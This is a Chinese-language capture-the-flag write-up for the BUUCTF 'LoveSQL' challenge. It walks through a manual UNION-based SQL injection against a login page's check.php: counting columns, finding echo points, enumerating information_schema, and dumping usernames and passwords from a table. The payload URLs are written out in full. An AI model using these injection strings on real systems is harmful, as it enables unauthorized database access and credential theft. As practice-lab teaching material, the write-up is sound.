题目地址:https://buuoj.cn/challenges#[%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%98%202019]LoveSQL

BUUCTF:[极客大挑战 2019]LoveSQL_数据库


BUUCTF:[极客大挑战 2019]LoveSQL_php_02


万能密码登陆成功了,确定存在注入点

order by判断字段数量

/check.php?username=mochu7'order by 3%23&password=admin

BUUCTF:[极客大挑战 2019]LoveSQL_数据库_03


BUUCTF:[极客大挑战 2019]LoveSQL_数据库_04


确定字段数量为3,查看回显点

/check.php?username=mochu7'union select 1,2,3%23&password=admin

BUUCTF:[极客大挑战 2019]LoveSQL_字段_05


查询当前数据库和所有数据库

/check.php?username=mochu7'union select 1,database(),group_concat(schema_name) from information_schema.schemata%23&password=admin

BUUCTF:[极客大挑战 2019]LoveSQL_字段_06

information_schema
mysql
performance_schema
test
geek

查询geek数据库中的表

/check.php?username=mochu7'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek'%23&password=admin

BUUCTF:[极客大挑战 2019]LoveSQL_数据库_07

geekuser
l0ve1ysq1

查询geek.l0ve1ysq1表下的字段名

/check.php?username=mochu7'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'%23&password=admin

BUUCTF:[极客大挑战 2019]LoveSQL_字段_08

id
username
password

查询字段所有内容

/check.php?username=mochu7'union select 1,2,group_concat(id,'---',username,'---',password) from geek.l0ve1ysq1%23&password=admin

BUUCTF:[极客大挑战 2019]LoveSQL_字段_09